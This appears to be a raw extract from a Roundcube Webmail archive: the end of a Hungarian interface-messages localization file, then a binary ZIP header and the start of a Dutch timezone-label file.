$messages['sendingmessage'] = 'Az üzenet küldése...';
$messages['messagesent'] = 'Az üzenet elküldve';
$messages['savingmessage'] = 'Az üzenet mentése...';
$messages['messagesaved'] = 'Az üzenet elmentve a Piszkozatokhoz';
$messages['successfullysaved'] = 'A mentés sikerült';
$messages['savingresponse'] = 'A válasz szövegének mentése...';
$messages['deleteresponseconfirm'] = 'Biztosan törli ezt a válasz szöveget?';
$messages['nocontactselected'] = 'Nincs kiválasztva még partner.';
$messages['addedsuccessfully'] = 'A kapcsolat hozzáadása a címjegyzékhez megtörtént';
$messages['contactexists'] = 'Egy kapcsolat ugyanezzel az email címmel már létezik.';
$messages['contactnameexists'] = 'Ezzel a névvel már létezik kapcsolat';
$messages['blockedimages'] = 'Biztonsági okokból a távoli képek letöltése tiltott';
$messages['blockedresources'] = 'A személyes adatok védelmében a távoli erőforrások blokkolva vannak.';
$messages['suspiciousemail'] = 'Ez az üzenet gyanús e-mail címeket tartalmaz, amelyek átveréseknél játszhatnak szerepet.';
$messages['bccemail'] = 'A továbbított üzenet(ek) titkos címzetteket tartalmaz(nak) (Bcc).';
$messages['bouncehint'] = 'Az üzenet módosítások nélkül, azaz az eredeti szöveg, fejlécek és címzettek felhasználásával kerül elküldésre.';
$messages['encryptedmessage'] = 'Az üzenet titkosított, ezért nem megjeleníthető';
$messages['externalmessagedecryption'] = 'Ez egy titkosított üzenet, amit vissza tudsz fejteni a böngésződ bővitményével,';
$messages['nopubkeyfor'] = 'Nem található érvényes publikus kulcs ehhez az emailhez: $email';
$messages['nopubkeyforsender'] = 'Nem található érvényes publikus kulcs a küldő indentitásodhoz. Szeretnéd titkosítani az üzenetet csak címzetteknek?';
$messages['encryptnoattachments'] = 'A már feltöltött csatolmányokat nem lehet titkosítani. Kérlek csatold újra azokat a titkosító szerkesztőben.';
$messages['searchpubkeyservers'] = 'Szeretnéd megkeresni a hiányzó kulcsokat publikus kulcs szervereken?';
$messages['encryptpubkeysfound'] = 'A következő publikus kulcs lett megtalálva:';
$messages['keyservererror'] = 'Nem sikerült kulcsot kapni a kulcskiszolgálóról.';
$messages['keyimportsuccess'] = 'A nyilvános kulcsot $key sikeresen importálva a kulcstartódba.';
$messages['nocontactsfound'] = 'Nem találhatóak kapcsolatok';
$messages['contactnotfound'] = 'A kiválasztott kapcsolat nem található';
$messages['contactsearchonly'] = 'A keresési űrlapot kell használni a partnerek megjelenítéséhez a kiválasztott címjegyzékből.';
$messages['sendingfailed'] = 'Az üzenet elküldése nem sikerült';
$messages['senttooquickly'] = 'Kérem várjon még $sec másodpercet az üzenet elküldése előtt';
$messages['errorsavingsent'] = 'Hiba történt az elküldött üzenet mentése közben';
$messages['errorsaving'] = 'A mentés során hiba lépett fel';
$messages['errormoving'] = 'Az üzenet(ek)et nem sikerült áthelyezni';
$messages['errorcopying'] = 'Az üzenet(ek)et nem sikerült másolni';
$messages['errordeleting'] = 'Az üzenet(ek)et nem sikerült törölni';
$messages['errormarking'] = 'Az üzenet(ek)et nem sikerült megjelölni';
$messages['alerttitle'] = 'Figyelem';
$messages['confirmationtitle'] = 'Biztosan...';
$messages['deletecontactconfirm']  = 'Biztos, hogy törölni szeretné a kijelölt kapcsolato(ka)t?';
$messages['deletegroupconfirm']  = 'Biztos, hogy törölni szeretné a kijelölt csoportot?';
$messages['deletemessagesconfirm'] = 'Biztos, hogy törölni szeretné a kijelölt üzenete(ke)t?';
$messages['deletefolderconfirm']  = 'Biztos, hogy törölni szeretné ezt a mappát?';
$messages['movefolderconfirm']  = 'Biztos, hogy át szeretné mozgatni ezt a mappát?';
$messages['purgefolderconfirm']  = 'Biztos benne, hogy az összes üzenet törölhető?';
$messages['contactdeleting'] = 'Kapcsolat(ok) törlése...';
$messages['groupdeleting'] = 'Csoport törlése...';
$messages['folderdeleting'] = 'Mappa törlése...';
$messages['foldermoving'] = 'Mappa áthelyezése...';
$messages['foldersubscribing'] = 'Feliratkozás a mappára...';
$messages['folderunsubscribing'] = 'Leiratkozás a mappáról...';
$messages['formincomplete'] = 'Az űrlap hiányosan lett kitöltve';
$messages['noemailwarning'] = 'Adjon meg egy valós e-mail címet';
$messages['nonamewarning']  = 'Adjon meg egy nevet';
$messages['nopagesizewarning'] = 'Adja meg a papír méretét';
$messages['nosenderwarning'] = 'Írd be a küldő email címét.';
$messages['recipientsadded'] = 'A címzett(ek) sikeresen hozzáadva.';
$messages['norecipientwarning'] = 'Legalább egy címzettet adjon meg';
$messages['disclosedrecipwarning'] = 'Minden címzett látni fogja az összes többi címzet e-mail címét. Ezt megelőzendően és a személyes adatok biztonságának megörzésének érdekében használhatod a Titkos másolat/Bcc/ mezőt.';
$messages['disclosedreciptitle'] = 'Túl sok címzett';
$messages['nosubjectwarning']  = 'A Tárgy mező üres. Szeretné most kitölteni?';
$messages['nosubjecttitle']  = 'Nincs tárgy';
$messages['nobodywarning'] = 'Elküldi az üzenetet üresen?';
$messages['notsentwarning'] = 'Az üzenet nem lett még elküldve és vannak benne nem mentett változások. Biztos elveted a módosításaidat?';
$messages['restoresavedcomposedata'] = 'Egy elkezdett, de el nem küldött üzenetet talált a program.\n\Tárgy: $subject\nMentve: $date\n\nSzeretnéd visszaállítani és folytatni ez az üzenetet?';
$messages['nosearchname'] = 'Adja meg a kapcsolat nevét vagy e-mail címét';
$messages['notuploadedwarning'] = 'Még nem került feltöltésre minden csatolmány. Kérem várjon, vagy állítsa le a feltöltést!';
$messages['searchsuccessful'] = '$nr üzenet található';
$messages['contactsearchsuccessful'] = '$nr találat';
$messages['searchnomatch'] = 'Nincs találat';
$messages['searching'] = 'Keresés...';
$messages['checking'] = 'Ellenőrzés...';
$messages['stillsearching'] = 'Keresés folyamatban...';
$messages['nospellerrors'] = 'Nem található helyesírási hiba';
$messages['folderdeleted'] = 'A mappa sikeresen törölve';
$messages['foldersubscribed'] = 'Sikerült a mappára feliratkozni';
$messages['folderunsubscribed'] = 'Sikerült a mappáról leiratkozni';
$messages['folderpurged'] = 'Mappa sikeresen kiürítve';
$messages['folderexpunged'] = 'Mappa sikeresen tömörítve.';
$messages['deletedsuccessfully'] = 'Törölve';
$messages['converting'] = 'Formázás eltávolítása az üzenetből...';
$messages['messageopenerror'] = 'A levelek a szerverről nem tölthetők le';
$messages['filelinkerror'] = 'A fájl csatolása sikertelen.';
$messages['fileuploaderror'] = 'Feltöltés sikertelen';
$messages['csvfilemismatch'] = 'Több CSV fájl importálása különböző mezőkkel nem támogatott.';
$messages['filesizeerror'] = 'A feltöltött fájl mérete meghaladja a maximális $size méretet';
$messages['filecounterror'] = 'Egyszerre csak $count filet tölthetsz fel.';
$messages['msgsizeerror'] = 'Túl nagy a csatolmány mérete. Egy üzenet maximális mérete: ($size).';
$messages['msgsizeerrorfwd'] = 'Az üzenet elérte a maximális méretet($size). $num üzenet nem lett csatolva.';
$messages['copysuccess'] = 'Sikeresen átmásolva $nr kapcsolat.';
$messages['movesuccess'] = '$nr kapcsolat sikeresen áthelyezve.';
$messages['copyerror'] = 'Nem lehet másolni a kapcsolatokat.';
$messages['moveerror'] = 'Nem lehet áthelyezni a kapcsolatokat.';
$messages['sourceisreadonly'] = 'Ez a címforrás csak olvasható';
$messages['errorsavingcontact'] = 'A kapcsolat címe nem menthető';
$messages['movingmessage'] = 'Üzenet(ek) áthelyezése...';
$messages['copyingmessage'] = 'Üzenet(ek) másolása...';
$messages['copyingcontact'] = 'Kapcsolat(ok) másolása...';
$messages['movingcontact'] = 'Kapcsolat(ok) áthelyezése...';
$messages['deletingmessage'] = 'Üzenet(ek) törlése....';
$messages['markingmessage'] = 'Üzenet(ek) megjelölése...';
$messages['addingmember'] = 'Kapcsolat(ok) hozzáadása a csoporthoz...';
$messages['removingmember'] = 'Kapcsolat(ok) törlése a csoportból...';
$messages['receiptsent'] = 'Az olvasási visszaigazolás el lett küldve';
$messages['errorsendingreceipt'] = 'Az olvasási visszaigazolást nem sikerült elküldeni';
$messages['deleteidentityconfirm'] = 'Biztosan törli ezt az azonosítót?';
$messages['nodeletelastidentity'] = 'Az azonosító nem törölhető, lennie kell legalább egy azonosítónak!';
$messages['forbiddencharacter'] = 'A mappa neve tiltott karaktert tartalmaz';
$messages['selectimportfile'] = 'Kérjük válassza ki a feltölteni kívánt fájlt';
$messages['addresswriterror'] = 'A kiválasztott címjegyzék nem írható';
$messages['contactaddedtogroup'] = 'A kapcsolat hozzáadása a csoporthoz sikeresen megtörtént';
$messages['contactremovedfromgroup'] = 'A kapcsolat törlése a csoportból sikeresen megtörtént';
$messages['nogroupassignmentschanged'] = 'A csoport hozzárendelések nem változtak.';
$messages['importwait'] = 'Importálás folyamatban, kérem várjon...';
$messages['importformaterror'] = 'Az importálás sikertelen! A feltöltött fájl ismeretlen formátumú.';
$messages['importconfirm'] = '<b>Sikeresen importálásra került $inserted kapcsolat, kihagyva $skipped már létező bejegyzés</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Kihagyva $skipped már létező bejegyzés</b>';
$messages['importmessagesuccess'] = 'Sikeresen importálva $nr üzenet';
$messages['importmessageerror'] = 'Sikertelen az importálás. A feltöltött file nem értelmezhető üzenetként vagy postafiók (mailbox) fileként.';
$messages['opnotpermitted'] = 'A művelet nem megengedett!';
$messages['nofromaddress'] = 'Hiányzik az email cím a kiválasztott identitásban.';
$messages['editorwarning'] = 'A szerkesztő tipusok közötti váltás a szöveg formázásának elvesztésével járhat. Biztos szeretnéd folytatni?';
$messages['httpreceivedencrypterror'] = 'Végzetes konfigurációs hiba történt, azonnal lépjen kapcsolatba az üzemeltetővel. <b>Az üzenet nem küldhető el.</b>';
$messages['smtpconnerror'] = 'SMTP hiba ($code): Sikertelen kapcsolódás a szerverhez';
$messages['smtpautherror'] = 'SMTP hiba ($code): Sikertelen bejelentkezés';
$messages['smtpfromerror'] = 'SMTP hiba ($code): Nem sikerült a feladó beállítása: "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP hiba ($code): Nem sikerült a következő címzett hozzáadása: "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP hiba ($code): A címzettlista feldolgozása sikertelen';
$messages['smtputf8error'] = 'SMTP hiba: A kiszolgáló nem támogatja a Unicode karaktereket az email címben.';
$messages['smtpsizeerror'] = 'SMTP hiba: Az üzenet mérete elérte a kiszálgáló által engedélyzett maximális méretet ($limit)';
$messages['smtperror'] = 'SMTP hiba ($code): $msg';
$messages['emailformaterror'] = 'Érvénytelen email cím: $email';
$messages['toomanyrecipients'] = 'Túl sok a címzett. Csökkentse a címzettek számát maximum $max címre!';
$messages['maxgroupmembersreached'] = 'A csoport létszáma meghaladja a maximum $max főt';
$messages['internalerror'] = 'Belső hiba történt. Kérjük próbálja újra!';
$messages['contactdelerror'] = 'Hiba a kapcsolat(ok) törlésekor';
$messages['contactdeleted'] = 'Kapcsolat(ok) sikeresen törölve';
$messages['contactrestoreerror'] = 'Nem sikerült a törölt kapcsolat(ok) helyreállítása';
$messages['contactrestored'] = 'Kapcsolat(ok) sikeresen helyreállítva';
$messages['groupdeleted'] = 'Csoport sikeresen törölve';
$messages['grouprenamed'] = 'Csoport sikeresen átnevezve';
$messages['groupcreated'] = 'Csoport sikeresen létrehozva';
$messages['savedsearchdeleted'] = 'Mentett keresés sikeresen törölve';
$messages['savedsearchdeleteerror'] = 'Nem sikerült törölni a mentett keresést';
$messages['savedsearchcreated'] = 'Keresés sikeresen mentve';
$messages['savedsearchcreateerror'] = 'Nem sikerült létrehozni mentett keresést';
$messages['messagedeleted'] = 'Üzenet(ek) sikeresen törölve';
$messages['messagemoved'] = 'Üzenet(ek) sikeresen áthelyezve.';
$messages['messagemovedtotrash'] = 'Üzenet(ek) sikeresen áthelyezve a kukába.';
$messages['messagecopied'] = 'Üzenet(ek) sikeresen másolva';
$messages['messagemarked'] = 'Üzenet(ek) sikeresen megjelölve';
$messages['autocompletechars'] = 'Az automatikus kiegészítéshez legalább $min karakter szükséges';
$messages['autocompletemore'] = 'Több egyezés található. Kérem adjon meg további karaktereket!';
$messages['namecannotbeempty'] = 'A név nem lehet üres';
$messages['nametoolong'] = 'A név túl hosszú';
$messages['namedotforbidden'] = 'A mappa neve nem kezdődhet ponttal.';
$messages['folderupdated'] = 'Mappa sikeresen frissítve';
$messages['foldercreated'] = 'Mappa sikeresen létrehozva';
$messages['invalidimageformat'] = 'Érvénytelen képformátum';
$messages['mispellingsfound'] = 'Az üzenetben helyesírási hibák találhatók';
$messages['parentnotwritable'] = 'Nem sikerült a mappa létrehozása/áthelyezése a kijelölt főmappába. Nincs jogosultsága a művelethez!';
$messages['messagetoobig'] = 'Az üzenetrész túl nagy a feldolgozáshoz.';
$messages['attachmentvalidationerror'] = 'FIGYELEM! A csatalmány veszélyes lehet, mert a típusa nem egyezik az üzenetben beállított típussal. Amennyiben nem megbizható az üzenet küldője, ne nyissa meg a csatolmányt a böngészőben, mert ártalmas lehet a tartalma.<br/><br/><em>Üzenetben beállított tipus: $expected; az érzékelt típus: $detected</em>';
$messages['noscriptwarning'] = 'FIGYELEM: Ez webmail szolgáltatása igényli a Javascript futtatásának a lehetőségét! Amennyiben használni szeretné, engedélyezze a JavaScript futtatását a böngészőjének a beállításaiban.';
$messages['messageissent'] = 'Az üzenet már el lett küldve, de még nincs elmentve. El akarod menteni most?';
$messages['errnotfound'] = 'File nem található';
$messages['errnotfoundexplain'] = 'A kért erőforrás nem található!';
$messages['errfailedrequest'] = 'Hibás kérés';
$messages['errauthorizationfailed'] = 'Azonosítás sikertelen';
$messages['errunauthorizedexplain'] = 'Nem sikerült ellenőrizni, hogy a szolgáltatás használata engdélyezett-e számodra';
$messages['errrequestcheckfailed'] = 'Kérés Ellenörzés Sikertlelen';
$messages['errcsrfprotectionexplain'] = "Az Ön védelme érdekében a hozzáférést ehhez az erőforráshoz biztosítva van CSRF védelemmel. \nHa ezt látja, akkor valószínűleg nem jelentkezett ki, mielőtt elhagyta a webes alkalmazást. \n\nEmberi közbeavatkozás szükség most ahoz, hogy folytassa.";
$messages['errcontactserveradmin'] = 'Vedd fel a kapcsolatot a rendszergazdával.';
$messages['clicktoresumesession'] = 'Kattints ide az előző munkamenet folytatásához';
$messages['errcomposesession'] = 'Levélíró munkanmenet hiba';
$messages['errcomposesessionexplain'] = 'A kért levélíró munkamenet nem található.';
$messages['clicktocompose'] = 'Kattints ide új üzenet létrehozásához';
$messages['nosupporterror'] = 'Ezt a funkciót a webböngésző nem támogatja.';
$messages['siginserted'] = 'Az aláírás sikeresen beillesztve.';
$messages['responseinserted'] = 'A válasz sikeresen beillesztve.';
$messages['noresponsesavailable'] = 'Nincs érvényes válasz ';
$messages['listempty'] = 'A lista üres.';
$messages['listusebutton'] = 'Használd a Létrehozás gombot, hogy hozzáadj egy új rekordot.';
$messages['keypaircreatesuccess'] = 'Az új kulcspár sikeresen létre lett hozva a következőnek: $identity';
$messages['emptyattachment'] = 'Ez a csatolmány üresnek tünik.<br>Érdeklődj annál, aki ezt küldte.';
$messages['oauthloginfailed'] = 'Az OAUTH bejelentkezés meghiúsult. Próbáld újra.';
PK
h�\ �e�N�N(program/localization/nl_NL/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Abbeba';
$labels['tz:africa:algiers'] = 'Algiers';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Cairo';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Djibouti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentinië';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico Stad';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Noordpoolgebied';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Azië';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beiroet';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jeruzalem';
$labels['tz:asia:kabul'] = 'Kaboel';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Koeweit';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
